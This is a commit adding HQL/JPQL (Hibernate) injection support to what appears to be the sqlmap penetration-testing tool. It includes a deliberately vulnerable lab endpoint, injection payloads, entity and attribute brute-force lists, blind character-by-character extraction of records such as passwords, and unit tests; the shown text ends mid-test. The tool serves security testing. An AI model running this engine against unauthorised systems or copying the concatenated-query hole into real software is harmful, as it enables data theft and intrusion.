Adding support for --hql

This commit is contained in:
Miroslav Štampar 2026-07-10 10:38:20 +02:00
parent 346c9d9f03
commit d0f16b284d
10 changed files with 901 additions and 3 deletions

View file

@ -218,6 +218,92 @@ def nosql_match(params):
else: # $eq, $in (single-valued here) and any literal equality
return record == value
# --- HQL endpoint (vulnerable Hibernate ORM search over a single mapped entity) -------------------
# The query "FROM Users u WHERE u.name = '<input>'" is built by string concatenation; the evaluator
# below reproduces just enough HQL semantics (boolean logic, EXISTS, scalar sub-queries, path
# resolution) to make sqlmap's --hql engine detect, fingerprint, leak the entity, enumerate mapped
# attributes and blindly extract their values. Unlike the local Hibernate lab, this endpoint reflects
# the parser diagnostic, so it also exercises the error-based entity-leak path.
HQL_ENTITY = "org.vulnserver.model.Users"
HQL_RECORD = {"id": "1", "name": "admin", "password": "s3cr3t", "role": "administrator", "email": "admin@vulnserver.local"}
class _HqlError(Exception):
pass
def _hql_short(name):
return re.split(r"[.$]", name)[-1]
def _hql_no_row(atom):
"""True when a row-walk bound "_h2.<pin> > <n>" excludes the only record, so the
scalar sub-query resolves to NULL and its comparison is false."""
match = re.search(r"_h2\.\w+>(\d+)", atom)
return bool(match) and int(HQL_RECORD["id"]) <= int(match.group(1))
def _hql_atom(atom):
atom = atom.strip()
match = re.match(r"^'([^']*)'\s*=\s*'([^']*)'$", atom) # literal '1'='1'
if match:
return match.group(1) == match.group(2)
match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X'
if match:
return HQL_RECORD["name"] == match.group(1)
match = re.match(r"^EXISTS\(SELECT 1 FROM (\w+) _h\)$", atom, re.I) # entity brute
if match:
if _hql_short(match.group(1)) != _hql_short(HQL_ENTITY):
raise _HqlError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity '%s'" % match.group(1))
return True
match = re.match(r"^EXISTS\(SELECT _h\.(\w+) FROM (\w+) _h\)$", atom, re.I) # attribute existence
if match:
attr = match.group(1)
if _hql_short(match.group(2)) != _hql_short(HQL_ENTITY) or attr not in HQL_RECORD:
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
return True
match = re.match(r"^\(SELECT LENGTH\(CAST\(_h\.(\w+) AS string\)\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar length
if match:
attr, n = match.group(1), int(match.group(2))
if attr not in HQL_RECORD:
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
if _hql_no_row(atom): # row-walk cursor advanced past the only record
return False
return len(HQL_RECORD[attr]) >= n
match = re.match(r"^\(SELECT SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\).*?\)\s*=\s*'(.)'$", atom, re.I) # scalar char
if match:
attr, pos, ch = match.group(1), int(match.group(2)), match.group(3)
if attr not in HQL_RECORD:
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
if _hql_no_row(atom):
return False
value = HQL_RECORD[attr]
return pos <= len(value) and value[pos - 1] == ch
match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak)
if match:
attr = match.group(1)
if attr not in HQL_RECORD:
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
return HQL_RECORD[attr] is not None
raise _HqlError("org.hibernate.query.SyntaxException: unexpected token near '%s'" % atom[:24])
def hql_evaluate(value):
"""Evaluate "name = '<value>'" as an HQL boolean; returns True/False or raises _HqlError."""
clause = "name = '%s'" % value
return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR "))
# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------
XPATH_XML = """<?xml version="1.0" encoding="UTF-8"?>
@ -968,6 +1054,22 @@ class ReqHandler(BaseHTTPRequestHandler):
self.wfile.write(output.encode(UNICODE_ENCODING))
return
if self.url == "/hql/search":
self.send_response(OK)
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
name = self.params.get("name", "")
try:
matched = hql_evaluate(name) # VULNERABLE: input concatenated into HQL
output = json.dumps({"results": [HQL_RECORD] if matched else [], "count": 1 if matched else 0})
except _HqlError as ex:
output = json.dumps({"results": [], "count": 0, "error": str(ex)})
self.wfile.write(output.encode(UNICODE_ENCODING))
return
if self.url == "/xpath/search":
self.send_response(OK)
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)

View file

@ -83,6 +83,7 @@ from lib.core.settings import FI_ERROR_REGEX
from lib.core.settings import FORMAT_EXCEPTION_STRINGS
from lib.core.settings import GRAPHQL_ERROR_REGEX
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
from lib.core.settings import HQL_ERROR_REGEX
from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import LDAP_ERROR_REGEX
from lib.core.settings import SSTI_ERROR_REGEX
@ -1216,6 +1217,13 @@ def heuristicCheckSqlInjection(place, parameter):
if conf.beep:
beep()
if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""):
infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg)
if conf.beep:
beep()
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
logger.info(infoMsg)

View file

@ -529,8 +529,8 @@ def start():
checkWaf()
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile):
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only")
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile):
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only")
if conf.graphql:
from lib.techniques.graphql.inject import graphqlScan
@ -562,6 +562,11 @@ def start():
xxeScan()
continue
if conf.hql:
from lib.techniques.hql.inject import hqlScan
hqlScan()
continue
if conf.nullConnection:
checkNullConnection()

View file

@ -126,6 +126,7 @@ optDict = {
"xpath": "boolean",
"ssti": "boolean",
"xxe": "boolean",
"hql": "boolean",
"oobServer": "string",
"oobToken": "string",
"timeSec": "integer",

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.65"
VERSION = "1.10.7.66"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -1159,6 +1159,54 @@ OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consi
XXE_BLACKHOLE_HOST = "192.0.2.1"
XXE_TIME_THRESHOLD = 5
# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based
# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment).
# A match means the injection reached the ORM query parser (not the SQL layer),
# which is what distinguishes HQL injection from ordinary SQL injection.
HQL_ERROR_SIGNATURES = (
("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"),
("Hibernate", r"(?:QuerySyntaxException|QueryException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"),
("Hibernate", r"(?:token recognition error at|unexpected (?:token|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property)|line \d+:\d+ (?:no viable alternative|mismatched input|token recognition error))"),
("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"),
("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"),
("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"),
)
HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES)
# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the
# ORM equivalent of a leaked table name; HQL has no information_schema so error-based
# leakage is the native way to learn the entity model). First capture group = name.
HQL_ENTITY_REGEX = (
r"(?:attribute|property|path) '[^']+' of '([\w.$]+)'",
r"resolve root entity '([^']+)'",
r"(?:entity|class) ['\"]?([\w.$]+[\w$])['\"]? is not mapped",
)
# Printable-ASCII codepoint bounds bisected during HQL blind character extraction
HQL_CHAR_MIN = 0x20
HQL_CHAR_MAX = 0x7e
# Upper bound for the value-length search during HQL blind extraction
HQL_MAX_LENGTH = 256
# Maximum number of attributes to enumerate per entity during HQL blind extraction
HQL_MAX_FIELDS = 64
# Maximum number of records walked (ordered by a numeric pin) during HQL blind dump
HQL_MAX_RECORDS = 100
# Common mapped entity names brute-forced through the boolean oracle when the app
# does not reflect Hibernate diagnostics (a mapped name keeps the query valid; an
# unmapped one raises UnknownEntityException and reads as false).
HQL_COMMON_ENTITIES = (
"User", "Users", "Account", "Accounts", "Member", "Members", "Customer",
"Customers", "Person", "People", "Employee", "Admin", "Login", "Credential",
"Profile", "Role", "Client", "Contact", "Company", "Product", "Order",
"Item", "Article", "Post", "Comment", "Category", "Document", "File",
"Message", "Group", "Session", "Token", "Application", "Setting",
)
XXE_IMPACT_FILES = (
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),

View file

@ -96,6 +96,7 @@ def vulnTest(tests=None, label="vuln"):
("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
("-u \"<base>hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),

View file

@ -796,6 +796,9 @@ def cmdLineParser(argv=None):
nonsql.add_argument("--xxe", dest="xxe", action="store_true",
help="Test for XML External Entity (XXE) injection")
nonsql.add_argument("--hql", dest="hql", action="store_true",
help="Test for HQL/JPQL (Hibernate ORM) injection")
nonsql.add_argument("--oob-server", dest="oobServer",
help="Out-of-band server for blind '--xxe'")

View file

@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
pass

View file

@ -0,0 +1,493 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import difflib
import re
import time
from collections import namedtuple
from lib.core.common import beep
from lib.core.common import randomStr
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import PLACE
from lib.core.settings import HQL_CHAR_MAX
from lib.core.settings import HQL_CHAR_MIN
from lib.core.settings import HQL_COMMON_ENTITIES
from lib.core.settings import HQL_ENTITY_REGEX
from lib.core.settings import HQL_ERROR_REGEX
from lib.core.settings import HQL_ERROR_SIGNATURES
from lib.core.settings import HQL_MAX_FIELDS
from lib.core.settings import HQL_MAX_LENGTH
from lib.core.settings import HQL_MAX_RECORDS
from lib.core.settings import UPPER_RATIO_BOUND
from lib.request.connect import Connect as Request
from lib.utils.xrange import xrange
SENTINEL = randomStr(length=10, lowercase=True)
HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
# Attribute names probed (via an error-vs-valid oracle) once the mapped entity is
# known. HQL has no information_schema, so a mapped attribute either resolves
# (valid query) or raises a PathElementException (error page); that difference is
# the enumeration oracle. Ordered by real-world frequency.
HQL_COMMON_FIELDS = (
"id", "name", "username", "user", "login", "email", "mail", "password",
"passwd", "pass", "pwd", "secret", "token", "apikey", "role", "roles",
"firstname", "lastname", "fullname", "phone", "address", "city", "country",
"active", "enabled", "created", "updated", "description", "title", "status",
"type", "code", "key", "hash", "salt", "uuid", "owner", "amount", "price",
)
# Detection boundaries, priority-ordered. Each is (true, false, extraction prefix,
# extraction suffix, sentinel-based). The application's own trailing delimiter
# (the closing quote it appends after the injected value) balances the suffix, so
# no comment is needed (HQL frequently rejects SQL line comments anyway).
_BOUNDARY_TABLE = (
# (true_breakout, false_breakout, ext_prefix, ext_suffix, sentinel )
("' OR '1'='1", "' AND '1'='2", "' OR ", " OR '1'='2", True),
('" OR "1"="1', '" AND "1"="2', '" OR ', ' OR "1"="2', True),
(" OR 1=1", " AND 1=2", " OR ", "", False),
)
# Boundary carries the extraction prefix/suffix and whether the base value must be
# a non-matching sentinel (OR-style) so a true predicate flips an empty result set.
Boundary = namedtuple("Boundary", ("prefix", "suffix", "sentinel"))
Slot = namedtuple("Slot", ("place", "parameter", "backend", "entity", "oracle", "boundary", "payload"))
Slot.__new__.__defaults__ = (None,) * 7
def _ratio(first, second):
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
def _delim(place):
return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
def _confParameters(place):
try:
return conf.parameters.get(place, "")
except AttributeError:
return conf.parameters[place] if place in conf.parameters else ""
def _originalValue(place, parameter):
for segment in _confParameters(place).split(_delim(place)):
name, _, value = segment.partition('=')
if name.strip() == parameter:
return value
return conf.paramDict.get(place, {}).get(parameter) or ""
def _replaceSegment(place, parameter, value):
delimiter = _delim(place)
raw = _confParameters(place)
retVal, replaced = [], False
for part in raw.split(delimiter):
name, _, _ = part.partition('=')
if not replaced and name.strip() == parameter:
retVal.append("%s=%s" % (name, value))
replaced = True
else:
retVal.append(part)
if not replaced:
retVal = []
for name, oldValue in conf.paramDict.get(place, {}).items():
retVal.append("%s=%s" % (name, value if name == parameter else oldValue))
return delimiter.join(retVal)
def _send(place, parameter, value):
"""Issue a single HTTP request with the target parameter set to `value`,
temporarily mutating conf.parameters so sqlmap's normal request machinery
(URL construction, cookies, headers, encodings) is fully preserved."""
if conf.delay:
time.sleep(conf.delay)
old_params = conf.parameters.get(place, "")
conf.parameters[place] = _replaceSegment(place, parameter, value)
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, _ = Request.getPage(raise404=False, silent=True)
return page or ""
except Exception as ex:
logger.debug("HQL probe request failed: %s" % getUnicode(ex))
return ""
finally:
conf.parameters[place] = old_params
def _isError(page):
return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or "")))
def _backendFromError(page):
page = getUnicode(page or "")
for backend, regex in HQL_ERROR_SIGNATURES:
if re.search(regex, page):
return backend
return None
def _entityFromError(page):
page = getUnicode(page or "")
for regex in HQL_ENTITY_REGEX:
match = re.search(regex, page)
if match:
return match.group(1)
return None
def _probeError(place, parameter):
"""Break the HQL string/numeric context and look for an ORM parser diagnostic.
Returns (backend, page) - a hint only; the boolean oracle is authoritative."""
original = _originalValue(place, parameter) or "1"
normal = _send(place, parameter, original)
for suffix in ("'", '"', "'||", " and", ")"):
broken = _send(place, parameter, original + suffix)
if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
continue
backend = _backendFromError(broken)
if backend and not _isError(normal):
return backend, broken
return None, None
def _boolean(truthy, falsy):
"""Return the reproducible true page when true/false probes diverge (both must
be independently reproducible), else None."""
truePage = truthy()
if truePage is None or _isError(truePage):
return None
if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND:
return None
falsePage = falsy()
if falsePage is None or _isError(falsePage):
return None
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
return None
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
return truePage
return None
def _detectBoolean(place, parameter):
"""Return (template, payload, boundary) for boolean-blind HQL injection."""
original = _originalValue(place, parameter) or ""
for true_bk, false_bk, prefix, suffix, sentinel in _BOUNDARY_TABLE:
truePayload = original + true_bk
falsePayload = original + false_bk
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
lambda p=falsePayload: _send(place, parameter, p))
if template:
return template, truePayload, Boundary(prefix, suffix, sentinel)
return None, None, None
def _base(boundary, original):
# OR-style boundaries need a base value that matches no row so a true predicate
# flips an empty result set into a populated one; AND-style keeps the original.
if boundary.sentinel:
return SENTINEL
return "-1"
def _wrap(original, boundary, predicate):
return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix)
def _makeOracle(place, parameter, template, boundary, original):
"""Build oracle(predicate) -> bool from a verified true template."""
cache = {}
base = _base(boundary, original)
def request(payload):
if payload not in cache:
cache[payload] = _send(place, parameter, payload)
return cache[payload]
def truth(predicate):
page = request(_wrap(base, boundary, predicate))
if page is None or _isError(page):
return False
return _ratio(template, page) >= UPPER_RATIO_BOUND
truth.template = template
truth.cache = cache
return truth
def _leakEntity(place, parameter, boundary, original):
"""Force a path-resolution error to leak the mapped entity name. An unqualified
identifier resolves against the query root, so a random one yields e.g.
"Could not resolve attribute 'xyz' of 'com.app.User'"."""
base = _base(boundary, original)
marker = randomStr(length=8, lowercase=True)
for reference in ("%s", "u.%s", "e.%s", "o.%s", "x.%s", "this.%s"):
predicate = "%s IS NOT NULL" % (reference % marker)
page = _send(place, parameter, _wrap(base, boundary, predicate))
entity = _entityFromError(page)
if entity:
return entity
return None
def _shortEntity(entity):
# com.app.model.User -> User ; lab.App$Member -> Member
return re.split(r"[.$]", entity)[-1] if entity else entity
def _bruteEntities(truth):
"""Recover mapped entity names through the boolean oracle alone (no reflected
diagnostic needed): a mapped name keeps the FROM clause valid, an unmapped one
raises UnknownEntityException and reads as false. Returns every match so the
whole reachable model can be dumped, not just the injected query's entity."""
retVal = []
for entity in HQL_COMMON_ENTITIES:
if truth("EXISTS(SELECT 1 FROM %s _h)" % entity):
retVal.append(entity)
return retVal
def _enumFields(truth, entity):
"""Probe common attribute names against the entity; a name that resolves keeps
the query valid (oracle true), a missing one raises and reads as false."""
fields = []
for field in HQL_COMMON_FIELDS:
if len(fields) >= HQL_MAX_FIELDS:
break
predicate = "EXISTS(SELECT _h.%s FROM %s _h)" % (field, entity)
if truth(predicate):
fields.append(field)
logger.info("identified mapped attribute: '%s'" % field)
return fields
# Frequency-ordered printable charset for blind character extraction
_META_ORDS = set(ord(_) for _ in ("'", '"', '\\'))
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) +
tuple(xrange(ord('A'), ord('Z') + 1)) +
tuple(xrange(ord('0'), ord('9') + 1)) +
tuple(ord(_) for _ in "@._- +:/"))
_CHARSET = []
for _ in _FREQ:
if HQL_CHAR_MIN <= _ <= HQL_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET:
_CHARSET.append(_)
for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1):
if _ not in _META_ORDS and _ not in _CHARSET:
_CHARSET.append(_)
def _scalar(entity, attribute, expr, pin, after=None):
"""Scalar subquery over a single `entity` row selected by the smallest `pin`
(optionally the smallest strictly greater than `after`, to walk rows in order).
Alias-independent, so it works regardless of the outer query's alias. `expr`
wraps the attribute, cast to string so numeric/temporal values extract too."""
bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after)
target = "CAST(_h.%s AS string)" % attribute
inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % (
expr % target, entity, pin, pin, entity, bound)
return "(%s)" % inner
def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH):
"""Blindly recover one attribute value of the row selected by `pin`/`after`."""
# length first, by binary search
lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after)
if not truth("%s>=1" % lengthExpr):
return ""
lo, hi = 1, maxLen
while lo < hi:
mid = (lo + hi + 1) // 2
if truth("%s>=%d" % (lengthExpr, mid)):
lo = mid
else:
hi = mid - 1
length = lo
chars = []
for pos in xrange(1, length + 1):
charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after)
found = None
for cp in _CHARSET:
literal = chr(cp)
if truth("%s='%s'" % (charExpr, literal)):
found = literal
break
chars.append(found if found is not None else "?")
return "".join(chars)
def _grid(columns, rows):
columns = [getUnicode(_) for _ in columns]
rows = [[getUnicode(_) for _ in row] for row in rows]
widths = []
for index, column in enumerate(columns):
width = len(column)
for row in rows:
if index < len(row):
width = max(width, len(getUnicode(row[index])))
widths.append(width)
separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
def line(cells):
return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
def _dumpEntity(oracle, place, parameter, entity):
"""Enumerate an entity's mapped attributes and blindly dump all of its rows."""
logger.info("enumerating mapped attributes of entity '%s'" % entity)
fields = _enumFields(oracle, entity)
if not fields:
logger.warning("entity '%s' confirmed but no common attribute resolved; the model may use non-standard names" % entity)
return
pin = "id" if "id" in fields else fields[0]
columns = list(fields)
# Walk records in ascending pin order: each row is pinned to the smallest pin
# value strictly greater than the previous one. A numeric pin is required to
# advance the cursor; otherwise only the first (smallest-pin) row is recovered.
rows = []
after = None
for _ in xrange(HQL_MAX_RECORDS):
pinValue = _inferValue(oracle, entity, pin, pin, after)
if not pinValue:
break
record = {pin: pinValue}
for field in fields:
if field != pin:
record[field] = _inferValue(oracle, entity, field, pin, after)
rows.append([record.get(_, "") for _ in fields])
logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields))
if not re.match(r"\A\d+\Z", pinValue):
break
after = pinValue
conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows)))
def hqlScan():
global SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
debugMsg = "'--hql' is self-contained: it detects HQL/JPQL (Hibernate ORM) injection "
debugMsg += "and blindly recovers the mapped entity model. SQL enumeration switches "
debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) do not apply"
logger.debug(debugMsg)
if not conf.paramDict:
logger.error("no request parameters to test (use --data, GET params, or similar)")
return
tested = 0
slots = []
for place in (_ for _ in HQL_PLACES if _ in conf.paramDict):
for parameter in list(conf.paramDict[place].keys()):
if conf.testParameter and parameter not in conf.testParameter:
continue
tested += 1
logger.info("testing HQL injection on %s parameter '%s'" % (place, parameter))
backendHint, _page = _probeError(place, parameter)
if backendHint:
logger.info("%s parameter '%s' reaches an ORM query parser (back-end: '%s')" % (place, parameter, backendHint))
template, payload, boundary = _detectBoolean(place, parameter)
if not template:
if backendHint:
logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter))
continue
backend = backendHint or "Hibernate"
original = _originalValue(place, parameter)
# Error leakage only helps when the app actually reflects diagnostics
entity = _leakEntity(place, parameter, boundary, original) if backendHint else None
logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else ""))
if conf.beep:
beep()
oracle = _makeOracle(place, parameter, template, boundary, original)
slots.append(Slot(place=place, parameter=parameter, backend=backend,
entity=entity, oracle=oracle, boundary=boundary, payload=payload))
if not slots:
if tested:
logger.warning("no parameter appears to be injectable via HQL injection (%d tested)" % tested)
else:
logger.warning("no parameters found to test for HQL injection")
return
for slot in slots:
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.payload))
# Blind extraction covers as much of the mapped model as reachable: the error-leaked
# entity (if any) plus every common entity the boolean oracle confirms is mapped.
slot = next((_ for _ in slots if _.entity), slots[0])
entities = []
leaked = _shortEntity(slot.entity)
if leaked:
entities.append(leaked)
logger.info("recovering mapped entities through the boolean oracle")
for entity in _bruteEntities(slot.oracle):
if entity not in entities:
entities.append(entity)
if not entities:
logger.info("HQL injection confirmed; could not resolve a mapped entity for blind extraction")
logger.info("HQL scan complete")
return
logger.info("dumping %d reachable entit%s: %s" % (len(entities), "y" if len(entities) == 1 else "ies", ", ".join("'%s'" % _ for _ in entities)))
for entity in entities:
_dumpEntity(slot.oracle, slot.place, slot.parameter, entity)
logger.info("HQL scan complete")

229
tests/test_hql.py Normal file
View file

@ -0,0 +1,229 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Offline, deterministic tests for the HQL/JPQL (Hibernate ORM) injection engine. Mock
oracles stand in for the HTTP/ORM layer so detection, fingerprinting, entity leakage,
blind attribute enumeration, value extraction and output formatting can be exercised
without a live Hibernate target.
"""
import os
import re
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap
bootstrap()
import lib.techniques.hql.inject as hql
class TestHelpers(unittest.TestCase):
def test_ratio(self):
self.assertGreater(hql._ratio("abc", "abc"), 0.9)
self.assertLess(hql._ratio("abc", "xyz"), 0.5)
def test_is_error(self):
self.assertTrue(hql._isError("org.hibernate.query.SyntaxException: token recognition error at: '''"))
self.assertTrue(hql._isError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity 'Ghost'"))
self.assertFalse(hql._isError("normal page content"))
def test_backend_from_error(self):
self.assertEqual(hql._backendFromError("org.hibernate.query.SemanticException: boom"), "Hibernate")
self.assertIsNotNone(hql._backendFromError("org.eclipse.persistence.exceptions.JPQLException"))
self.assertIsNone(hql._backendFromError("plain page"))
def test_entity_from_error(self):
self.assertEqual(hql._entityFromError("Could not resolve attribute 'zzz' of 'lab.App$Member'"), "lab.App$Member")
self.assertEqual(hql._entityFromError("Could not resolve root entity 'Ghost'"), "Ghost")
self.assertIsNone(hql._entityFromError("nothing here"))
def test_short_entity(self):
self.assertEqual(hql._shortEntity("lab.App$Member"), "Member")
self.assertEqual(hql._shortEntity("com.acme.model.User"), "User")
self.assertEqual(hql._shortEntity("User"), "User")
class TestBoundary(unittest.TestCase):
def test_wrap_string(self):
b = hql.Boundary("' OR ", " OR '1'='2", True)
self.assertEqual(hql._wrap("SEN", b, "1=1"), "SEN' OR 1=1 OR '1'='2")
def test_base_sentinel_vs_numeric(self):
self.assertEqual(hql._base(hql.Boundary("' OR ", " OR '1'='2", True), "x"), hql.SENTINEL)
self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1")
def test_scalar_casts_attribute(self):
expr = hql._scalar("Member", "id", "LENGTH(%s)", "id")
self.assertIn("CAST(_h.id AS string)", expr)
self.assertIn("FROM Member _h", expr)
self.assertIn("MIN(_h2.id)", expr)
class TestDetection(unittest.TestCase):
def setUp(self):
self.original = hql._send
def tearDown(self):
hql._send = self.original
def test_boolean_detection(self):
# TRUE payloads return rows, FALSE payloads return an empty (but stable) page
def mock(place, parameter, value):
if "OR '1'='1" in value or "OR 1=1" in value:
return "<html><body><div>alice</div><div>bob</div></body></html>"
return "<html><body></body></html>"
hql._send = mock
template, payload, boundary = hql._detectBoolean("GET", "name")
self.assertIsNotNone(template)
self.assertIn("OR '1'='1", payload)
self.assertTrue(boundary.sentinel)
def test_no_detection_when_static(self):
hql._send = lambda place, parameter, value: "<html>same</html>"
template, _, _ = hql._detectBoolean("GET", "name")
self.assertIsNone(template)
def _recordOracle(record, entity="Member"):
"""Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates
the engine emits, evaluated against an in-memory record dict."""
def truth(predicate):
# entity brute / attribute existence
m = re.search(r"FROM (\w+) _h", predicate)
if m and m.group(1) != entity:
return False
